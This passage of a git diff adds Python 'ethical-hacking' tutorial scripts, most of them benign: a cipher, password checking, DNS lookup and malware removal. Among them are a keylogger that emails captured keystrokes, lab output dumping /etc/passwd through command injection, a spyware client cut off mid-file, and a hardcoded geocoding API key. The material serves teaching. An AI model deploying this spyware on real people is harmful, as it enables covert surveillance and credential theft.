to form a word and write it to the file + word = ''.join(combination) + file.write(word + '\n') + + +# Create an ArgumentParser object for handling command line arguments. +parser = argparse.ArgumentParser(description="Generate a custom wordlist similar to crunch.") + +# Define command line arguments. +parser.add_argument("-c", "--characters", type=str, default="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", + help="Set of characters to include in the wordlist") +parser.add_argument("-min", "--min_length", type=int, default=4, help="Minimum length of the words") +parser.add_argument("-max", "--max_length", type=int, default=6, help="Maximum length of the words") +parser.add_argument("-o", "--output_file", type=str, default="custom_wordlist.txt", help="Output file name") + +# Parse the command line arguments. +args = parser.parse_args() + +# Call the generate_wordlist function with the provided arguments. +generate_wordlist(args.characters, args.min_length, args.max_length, args.output_file) + +# Print a message indicating the wordlist has been generated and saved. +print(f"[+] Wordlist generated and saved to {args.output_file}") diff --git a/ethical-hacking/caesar-cipher/README.md b/ethical-hacking/caesar-cipher/README.md new file mode 100644 index 00000000..9c91133f --- /dev/null +++ b/ethical-hacking/caesar-cipher/README.md @@ -0,0 +1,2 @@ +# [How to Implement the Caesar Cipher in Python](https://thepythoncode.com/article/implement-caesar-cipher-in-python) +# [How to Crack the Caesar Cipher in Python](https://thepythoncode.com/article/how-to-crack-caesar-cipher-in-python) \ No newline at end of file diff --git a/ethical-hacking/caesar-cipher/caeser_cipher.py b/ethical-hacking/caesar-cipher/caeser_cipher.py new file mode 100644 index 00000000..2bffbc69 --- /dev/null +++ b/ethical-hacking/caesar-cipher/caeser_cipher.py @@ -0,0 +1,46 @@ +import sys # The sys module for system-related operations. +from colorama import Fore, init # Import the colorama for colored text + +init() # Initialize the colorama library for colored text. + + +def implement_caesar_cipher(message, key, decrypt=False): + # Initialize an empty string to store the result. + result = "" + # Iterate through each character in the user's input message. + for character in message: + # Check if the character is an alphabet letter. + if character.isalpha(): + # Determine the shift amount based. i.e the amount of times to be shifted e.g 2,3,4.... + shift = key if not decrypt else -key + # Check if the character is a lowercase letter. + if character.islower(): + # Apply Caesar cipher transformation for lowercase letters. + result += chr(((ord(character) - ord('a') + shift) % 26) + ord('a')) + else: + # Apply Caesar cipher transformation for uppercase letters. + result += chr(((ord(character) - ord('A') + shift) % 26) + ord('A')) + else: + # Preserve non-alphabet characters as they are. + result += character + return result # Return the encrypted or decrypted result. + + +# Prompt the user to enter the text to be encrypted +text_to_encrypt = input(f"{Fore.GREEN}[?] Please Enter your text/message: ") +# Prompt the user to specify the shift length (the key). +key = int(input(f"{Fore.GREEN}[?] Please specify the shift length: ")) + + +# Check if the specified key is within a valid range (0 to 25). +if key > 25 or key < 0: + # Display an error message if the key is out of range. + print(f"{Fore.RED}[!] Your shift length should be between 0 and 25 ") + sys.exit() # Exit the program if the key is invalid. + +# Encrypt the user's input using the specified key. +encrypted_text = implement_caesar_cipher(text_to_encrypt, key) + +# Display the encrypted text. +print(f"{Fore.GREEN}[+] {text_to_encrypt} {Fore.MAGENTA}has been encrypted as {Fore.RED}{encrypted_text}") + diff --git a/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py b/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py new file mode 100644 index 00000000..6d7f0d9d --- /dev/null +++ b/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py @@ -0,0 +1,55 @@ +# Import colorama for colorful text. +from colorama import Fore, init + +init() + + +# Define a function for Caesar cipher encryption. +def implement_caesar_cipher(text, key, decrypt=False): + # Initialize an empty string to store the result. + result = "" + + # Iterate through each character in the input text. + for char in text: + # Check if the character is alphabetical. + if char.isalpha(): + # Determine the shift value using the provided key (or its negation for decryption). + shift = key if not decrypt else -key + + # Check if the character is lowercase + if char.islower(): + # Apply the Caesar cipher encryption/decryption formula for lowercase letters. + result += chr(((ord(char) - ord('a') + shift) % 26) + ord('a')) + else: + # Apply the Caesar cipher encryption/decryption formula for uppercase letters. + result += chr(((ord(char) - ord('A') + shift) % 26) + ord('A')) + else: + # If the character is not alphabetical, keep it as is e.g. numbers, punctuation + result += char + + # Return the result, which is the encrypted or decrypted text + return result + + +# Define a function for cracking the Caesar cipher. +def crack_caesar_cipher(ciphertext): + # Iterate through all possible keys (0 to 25) as there 26 alphabets. + for key in range(26): + # Call the caesar_cipher function with the current key to decrypt the text. + decrypted_text = implement_caesar_cipher(ciphertext, key, decrypt=True) + + # Print the result, showing the decrypted text for each key + print(f"{Fore.RED}Key {key}: {decrypted_text}") + + +# Initiate a continuous loop so the program keeps running. +while True: + # Accept user input. + encrypted_text = input(f"{Fore.GREEN}[?] Please Enter the text/message to decrypt: ") + # Check if user does not specify anything. + if not encrypted_text: + print(f"{Fore.RED}[-] Please specify the text to decrypt.") + else: + crack_caesar_cipher(encrypted_text) + + diff --git a/ethical-hacking/caesar-cipher/requirements.txt b/ethical-hacking/caesar-cipher/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/caesar-cipher/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/checking-password-strength/README.md b/ethical-hacking/checking-password-strength/README.md new file mode 100644 index 00000000..a0677af7 --- /dev/null +++ b/ethical-hacking/checking-password-strength/README.md @@ -0,0 +1 @@ +# [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python) \ No newline at end of file diff --git a/ethical-hacking/checking-password-strength/check_password_strength.py b/ethical-hacking/checking-password-strength/check_password_strength.py new file mode 100644 index 00000000..cf897997 --- /dev/null +++ b/ethical-hacking/checking-password-strength/check_password_strength.py @@ -0,0 +1,37 @@ +from zxcvbn import zxcvbn +import pprint, getpass, sys + + +def test_single_password(): + password = getpass.getpass("[?] Enter your password: ") + result = zxcvbn(password) + print(f"Value: {result['password']}") + print(f"Password Score: {result['score']}/4") + print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}") + print(f"Feedback: {result['feedback']['suggestions']}") + #pprint.pp(result) + + +def test_multiple_passwords(password_file): + try: + with open(password_file, 'r') as passwords: + for password in passwords: + result = zxcvbn(password.strip('\n')) + print('\n[+] ######################')# for readability + print(f"Value: {result['password']}") + print(f"Password Score: {result['score']}/4") + print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}") + print(f"Feedback: {result['feedback']['suggestions']}") + #pprint.pp(result) + + except Exception: + print('[!] Please make sure to specify an accessible file containing passwords.') + + +if len(sys.argv) == 2: + test_multiple_passwords(sys.argv[1]) +elif len(sys.argv) == 1: + test_single_password() +else: + print('Usage: python test_password_strength.py +
+
+
+			Enter an IP address below:
+ + +www-data ++ +
 +
+
+
+			Enter an IP address below:
+ + +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/bin/sh +bin:x:2:2:bin:/bin:/bin/sh +sys:x:3:3:sys:/dev:/bin/sh +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/bin/sh +man:x:6:12:man:/var/cache/man:/bin/sh +lp:x:7:7:lp:/var/spool/lpd:/bin/sh +mail:x:8:8:mail:/var/mail:/bin/sh +news:x:9:9:news:/var/spool/news:/bin/sh +uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh +proxy:x:13:13:proxy:/bin:/bin/sh +www-data:x:33:33:www-data:/var/www:/bin/sh +backup:x:34:34:backup:/var/backups:/bin/sh +list:x:38:38:Mailing List Manager:/var/list:/bin/sh +irc:x:39:39:ircd:/var/run/ircd:/bin/sh +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh +nobody:x:65534:65534:nobody:/nonexistent:/bin/sh +libuuid:x:100:101::/var/lib/libuuid:/bin/sh +dhcp:x:101:102::/nonexistent:/bin/false +syslog:x:102:103::/home/syslog:/bin/false +klog:x:103:104::/home/klog:/bin/false +sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin +msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash +bind:x:105:113::/var/cache/bind:/bin/false +postfix:x:106:115::/var/spool/postfix:/bin/false +ftp:x:107:65534::/home/ftp:/bin/false +postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash +mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false +tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false +distccd:x:111:65534::/:/bin/false +user:x:1001:1001:just a user,111,,:/home/user:/bin/bash +service:x:1002:1002:,,,:/home/service:/bin/bash +telnetd:x:112:120::/nonexistent:/bin/false +proftpd:x:113:65534::/var/run/proftpd:/bin/false +statd:x:114:65534::/var/lib/nfs:/bin/false ++ +
 +
+
+
+			Enter an IP address below:
+ + +total 20 +drwxr-xr-x 4 www-data www-data 4096 May 20 2012 . +drwxr-xr-x 11 www-data www-data 4096 May 20 2012 .. +drwxr-xr-x 2 www-data www-data 4096 May 20 2012 help +-rw-r--r-- 1 www-data www-data 1509 Mar 16 2010 index.php +drwxr-xr-x 2 www-data www-data 4096 May 20 2012 source ++ +
 +
+
+
+			Enter an IP address below:
+ + +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/bin/sh +bin:x:2:2:bin:/bin:/bin/sh +sys:x:3:3:sys:/dev:/bin/sh +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/bin/sh +man:x:6:12:man:/var/cache/man:/bin/sh +lp:x:7:7:lp:/var/spool/lpd:/bin/sh +mail:x:8:8:mail:/var/mail:/bin/sh +news:x:9:9:news:/var/spool/news:/bin/sh +uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh +proxy:x:13:13:proxy:/bin:/bin/sh +www-data:x:33:33:www-data:/var/www:/bin/sh +backup:x:34:34:backup:/var/backups:/bin/sh +list:x:38:38:Mailing List Manager:/var/list:/bin/sh +irc:x:39:39:ircd:/var/run/ircd:/bin/sh +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh +nobody:x:65534:65534:nobody:/nonexistent:/bin/sh +libuuid:x:100:101::/var/lib/libuuid:/bin/sh +dhcp:x:101:102::/nonexistent:/bin/false +syslog:x:102:103::/home/syslog:/bin/false +klog:x:103:104::/home/klog:/bin/false +sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin +msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash +bind:x:105:113::/var/cache/bind:/bin/false +postfix:x:106:115::/var/spool/postfix:/bin/false +ftp:x:107:65534::/home/ftp:/bin/false +postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash +mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false +tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false +distccd:x:111:65534::/:/bin/false +user:x:1001:1001:just a user,111,,:/home/user:/bin/bash +service:x:1002:1002:,,,:/home/service:/bin/bash +telnetd:x:112:120::/nonexistent:/bin/false +proftpd:x:113:65534::/var/run/proftpd:/bin/false +statd:x:114:65534::/var/lib/nfs:/bin/false ++ +
{message}
" + text_part = MIMEText(message, "plain") + html_part = MIMEText(html, "html") + msg.attach(text_part) + msg.attach(html_part) + return msg.as_string() + + def sendmail(self, email, password, message, verbose=1): + """Send an email using SMTP with the logged keystrokes.""" + server = smtplib.SMTP(host="smtp.office365.com", port=587) + server.starttls() + server.login(email, password) + server.sendmail(email, email, self.prepare_mail(message)) + server.quit() + if verbose: + print(f"{datetime.now()} - Sent an email to {email} containing: {message}") + + def report(self): + """Report the captured keystrokes either by email or by saving to a file.""" + if self.log: + self.end_dt = datetime.now() + self.update_filename() + if self.report_method == "email": + self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) + elif self.report_method == "file": + self.report_to_file() + self.start_dt = datetime.now() + self.log = "" + timer = Timer(interval=self.interval, function=self.report) + timer.daemon = True + timer.start() + + def start(self): + """Start the keylogger.""" + self.start_dt = datetime.now() + keyboard.on_release(callback=self.callback) + self.report() + print(f"{datetime.now()} - Started keylogger") + keyboard.wait() + + +if __name__ == "__main__": + keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") + keylogger.start() diff --git a/ethical-hacking/persistent-malware/requirements.txt b/ethical-hacking/persistent-malware/requirements.txt new file mode 100644 index 00000000..c2539834 --- /dev/null +++ b/ethical-hacking/persistent-malware/requirements.txt @@ -0,0 +1 @@ +keyboard diff --git a/ethical-hacking/phone-number-tracker/README.md b/ethical-hacking/phone-number-tracker/README.md new file mode 100644 index 00000000..7a5b80e2 --- /dev/null +++ b/ethical-hacking/phone-number-tracker/README.md @@ -0,0 +1 @@ +# [How to Make a Phone Number Tracker in Python](https://thepythoncode.com/article/phone-number-tracker-in-python) \ No newline at end of file diff --git a/ethical-hacking/phone-number-tracker/phone_number_tracker.py b/ethical-hacking/phone-number-tracker/phone_number_tracker.py new file mode 100644 index 00000000..acd1b6e3 --- /dev/null +++ b/ethical-hacking/phone-number-tracker/phone_number_tracker.py @@ -0,0 +1,149 @@ +import phonenumbers, sys, folium, os, argparse +from colorama import init, Fore +from phonenumbers import geocoder, timezone, carrier +init() + + +def process_number(number): + try: + global location + + # Parse the phone number. See this as extracting relevant information from the Phone number. + parsed_number = phonenumbers.parse(number) + + '''Display a message indicating the tracking attempt. We'll also format the parsed number to the + international format.''' + + print(f"{Fore.GREEN}[+] Attempting to track location of " + f"{phonenumbers.format_number(parsed_number, phonenumbers.PhoneNumberFormat.INTERNATIONAL)}..") + + # Get and display the time zone ID + print(f"{Fore.GREEN}[+] Time Zone ID: {timezone.time_zones_for_number(parsed_number)}") + + # Get the geographic location of the Phone number and display it. + location = geocoder.description_for_number(parsed_number, "en") + if location: + print(f"{Fore.GREEN}[+] Region: {location}") + else: + print(f"{Fore.RED}[-] Region: Unknown") + + '''Get the service provider (carrier) and display it if available. Some businesses and + organizations do not use public service providers. So you may not see the carrier in that case.''' + + if carrier.name_for_number(parsed_number, 'en'): + print(f"{Fore.GREEN}[+] Service Provider: {carrier.name_for_number(parsed_number, 'en')}") + else: + pass + + # Handle exceptions, such as invalid phone numbers or connectivity issues. + except Exception: + print(f"{Fore.RED}[-] Please specify a valid phone number (with country code)" + " or check your internet connection.") + sys.exit() + +def get_approx_coordinates(): + # Import the OpenCageGeocode class from the opencage.geocoder module + from opencage.geocoder import OpenCageGeocode + + global coder, latitude, longitude + + # Try to execute the following block, and handle exceptions if they occur. + try: + # Create an instance of the OpenCageGeocode class with your API key. + coder = OpenCageGeocode("42c84373c47e490ba410d4132ae64fc4") + + query = location + + # Perform a geocoding query to obtain results. + results = coder.geocode(query) + + # Extract latitude and longitude from the geocoding results. These are the coordinates of the number's location. + latitude = results[0]['geometry']['lat'] + longitude = results[0]['geometry']['lng'] + + # Print the obtained latitude and longitude. + print(f"[+] Latitude: {latitude}, Longitude: {longitude}") + + # Perform a reverse geocoding query to obtain an address based on coordinates. + address = coder.reverse_geocode(latitude, longitude) + + # Check if an address was found. + if address: + address = address[0]['formatted'] + print(f"{Fore.LIGHTRED_EX}[+] Approximate Location is {address}") + else: + # If no address was found, print an error message. + print(f"{Fore.RED}[-] No address found for the given coordinates.") + except Exception: + '''Handle exceptions by printing an error message and exiting the script. This would prevent the program from + crashing''' + + print(f"{Fore.RED}[-] Could not get the location of this number. Please specify a valid phone number or " + "check your internet connection.") + sys.exit() + +# This function basically removes unwanted characters from the Phone number such as white spaces. +def clean_phone_number(phone_number): + cleaned = ''.join(char for part in phone_number for char in part if char.isdigit() or char == '+') + return cleaned or "unknown" + +# Function to see Aerial view of the person's location. +def draw_map(): + try: + # Create a Folium map centered around the latitude and longitude of the number's coordinates. + my_map = folium.Map(location=[latitude, longitude], zoom_start=9) + + # Add a marker to the map at the specified latitude and longitude with a popup displaying the 'location' variable. + folium.Marker([latitude, longitude], popup=location).add_to(my_map) + + ''' Clean the phone number and use it to generate a file name with an '.html' extension + we'll basically save each map with the number of the owner for easy identification.''' + + cleaned_phone_number = clean_phone_number(args.phone_number) # We'll see 'args' soon. + file_name = f"{cleaned_phone_number}.html" + + # Save the map as an HTML file with the generated file name. + my_map.save(file_name) + + # Print a message indicating where the saved HTML file can be found. + print(f"[+] See Aerial Coverage at: {os.path.abspath(file_name)}") + + # Handle the 'NameError' exception, which can occur if the 'latitude' or 'longitude' variables are not defined. + except NameError: + print(f"{Fore.RED}[-] Could not get Aerial coverage for this number. Please check the number again.") + + +# Function to handle command-line arguments. +def cli_argument(): + # Create an ArgumentParser object and specify a description. + parser = argparse.ArgumentParser(description="Get approximate location of a Phone number.") + + # Define a command-line argument: -p or --phone. This is to receive the user's number from terminal. + parser.add_argument("-p", "--phone", dest="phone_number", type=str, + help="Phone number to track. Please include the country code when specifying the number.", + required=True, nargs="+") + + # Parse the command-line arguments. + argument = parser.parse_args() + + # Check if the 'phone_number' argument is not provided. + if not argument.phone_number: + # Print an error message indicating that the phone number is required. + print(f"{Fore.RED}[-] Please specify the phone number to track (including country code)." + " Use --help to see usage.") + + # Exit the script. + sys.exit() + + # Return the parsed command-line arguments. + return argument + +# Parse command-line arguments using the 'cli_argument' function. +args = cli_argument() + +# Call the process_number function and pass the phone number as a single string. +process_number("".join(args.phone_number)) +get_approx_coordinates() +draw_map() + + diff --git a/ethical-hacking/phone-number-tracker/requirements.txt b/ethical-hacking/phone-number-tracker/requirements.txt new file mode 100644 index 00000000..b1598993 --- /dev/null +++ b/ethical-hacking/phone-number-tracker/requirements.txt @@ -0,0 +1,4 @@ +phonenumbers +folium +colorama +opencage \ No newline at end of file diff --git a/ethical-hacking/remove-persistent-malware/README.md b/ethical-hacking/remove-persistent-malware/README.md new file mode 100644 index 00000000..6145b698 --- /dev/null +++ b/ethical-hacking/remove-persistent-malware/README.md @@ -0,0 +1 @@ +# [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python) \ No newline at end of file diff --git a/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py new file mode 100644 index 00000000..88ba4f7e --- /dev/null +++ b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py @@ -0,0 +1,118 @@ +import os +import platform +import subprocess +import tempfile + +# Windows-specific imports +if platform.system() == "Windows": + import winreg + +# Get Windows start-up entries and display +def list_windows_startup_entries(): + key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run") + entries = [] + try: + i = 0 + while True: + entry_name, entry_value, entry_type = winreg.EnumValue(key, i) + entries.append((i + 1, entry_name, entry_value)) + i += 1 + except OSError: + pass + winreg.CloseKey(key) + return entries + +# Remove Windows start-up entries +def remove_windows_startup_entry(index, entries): + key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE) + try: + entry_name, entry_value = entries[index - 1][1], entries[index - 1][2] + winreg.DeleteValue(key, entry_name) + print(f"[+] Entry {entry_name} has been removed successfully.") + + if os.path.isfile(entry_value): + os.remove(entry_value) + print(f"[+] File '{entry_value}' has been deleted successfully.") + else: + print(f"[-] File '{entry_value}' not found or unable to delete.") + except IndexError: + print("[-] Invalid entry index.") + except OSError as e: + print(f"[-] Error removing entry: {e}") + finally: + winreg.CloseKey(key) + +# Get the cron tab entries +def list_linux_crontab_entries(): + try: + output = subprocess.check_output(["crontab", "-l"], stderr=subprocess.STDOUT).decode('utf-8').strip() + if output: + entries = output.split("\n") + return [(i + 1, entry) for i, entry in enumerate(entries)] + else: + return [] + except subprocess.CalledProcessError as e: + if "no crontab" in e.output.decode('utf-8'): + return [] + else: + raise + +def remove_linux_crontab_entry(index, entries): + try: + entry = entries[index - 1][1] + all_entries = [e[1] for e in entries if e[1] != entry] + + with tempfile.NamedTemporaryFile(delete=False) as tmp_file: + tmp_file.write("\n".join(all_entries).encode('utf-8')) + tmp_file.write(b"\n") + tmp_file_path = tmp_file.name + + subprocess.check_output(["crontab", tmp_file_path], stderr=subprocess.STDOUT) + os.unlink(tmp_file_path) + print(f"[+] Entry '{entry}' has been removed successfully.") + except IndexError: + print("[-] Invalid entry index.") + except Exception as e: + print(f"[-] Error removing crontab entry: {e}") + +def main(): + os_name = platform.system() + if os_name == "Windows": + entries = list_windows_startup_entries() + if not entries: + print("[-] No startup entries found.") + else: + print("[+] Startup entries:") + for index, name, value in entries: + print(f"{index}. {name}: {value}") + + print("\n") + choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): ")) + if choice == 0: + return + elif 0 < choice <= len(entries): + remove_windows_startup_entry(choice, entries) + else: + print("[-] Invalid choice.") + elif os_name == "Linux": + entries = list_linux_crontab_entries() + if not entries: + print("[-] No crontab entries found.") + else: + print("[+] Crontab entries:") + for index, entry in entries: + print(f"{index}. {entry}") + + print("\n") + choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): ")) + if choice == 0: + return + elif 0 < choice <= len(entries): + remove_linux_crontab_entry(choice, entries) + else: + print("[-] Invalid choice.") + else: + print(f"[-] Unsupported operating system: {os_name}") + +if __name__ == "__main__": + main() diff --git a/ethical-hacking/reverse-dns-lookup/README.md b/ethical-hacking/reverse-dns-lookup/README.md new file mode 100644 index 00000000..e2aa69a3 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/README.md @@ -0,0 +1 @@ +# [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python) \ No newline at end of file diff --git a/ethical-hacking/reverse-dns-lookup/requirements.txt b/ethical-hacking/reverse-dns-lookup/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/ethical-hacking/reverse-dns-lookup/reverse_lookup.py b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py new file mode 100644 index 00000000..449f79d0 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py @@ -0,0 +1,69 @@ +# Import the necessary libraries +import argparse +import ipaddress +import socket +import requests + +API_KEY = "Your-Api-Key-Here" # Replace with your ViewDNS API key + +# Function to Check if IP address is valid. +def is_valid_ip(ip): + + try: + ipaddress.ip_address(ip) + return True + except ValueError: + return False + + +# Perform reverse look up. +def reverse_lookup(ip): + try: + domain = socket.gethostbyaddr(ip)[0] + return domain + except socket.herror: + return None + + +# Get websites on same server. +def get_websites_on_server(ip): + url = f"https://api.viewdns.info/reverseip/?host={ip}&apikey={API_KEY}&output=json" + response = requests.get(url) + if response.status_code == 200: + data = response.json() + if "response" in data and "domains" in data["response"]: + websites = data["response"]["domains"] + return websites + return [] + + +# Get user arguments and execute. +def main(): + parser = argparse.ArgumentParser(description="Perform IP reverse lookup.") + parser.add_argument("ips", nargs="+", help="IP address(es) to perform reverse lookup on.") + parser.add_argument("--all", "-a", action="https://github.com/store_true", help="Print all other websites on the same server.") + args = parser.parse_args() + + for ip in args.ips: + if not is_valid_ip(ip): + print(f"[-] Invalid IP address: {ip}") + continue + + domain = reverse_lookup(ip) + if domain: + print(f"[+] IP: {ip}, Domain: {domain}") + if args.all: + websites = get_websites_on_server(ip) + if websites: + print("\nOther websites on the same server:") + for website in websites: + print(f"[+] {website}") + print('\n') + else: + print("[-] No other websites found on the same server.") + else: + print(f"[-] No domain found for IP: {ip}") + + +if __name__ == "__main__": + main() diff --git a/ethical-hacking/spyware/README.md b/ethical-hacking/spyware/README.md new file mode 100644 index 00000000..9c2520c9 --- /dev/null +++ b/ethical-hacking/spyware/README.md @@ -0,0 +1 @@ +# [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python) \ No newline at end of file diff --git a/ethical-hacking/spyware/client.py b/ethical-hacking/spyware/client.py new file mode 100644 index 00000000..d36eca07 --- /dev/null +++ b/ethical-hacking/spyware/client.py @@ -0,0 +1,64 @@ +import socket # For network (client-server) communication. +import os # For handling os executions. +import subprocess # For executing system commands. +import cv2 # For recording the video. +import threading # For recording the video in a different thread. +import platform # We use this to get the os of the target (client). + +SERVER_HOST = "127.0.0.1" # Server's IP address +SERVER_PORT = 4000 +BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, you can adjust this. + +# Separator string for sending 2 messages at a time. +SEPARATOR = "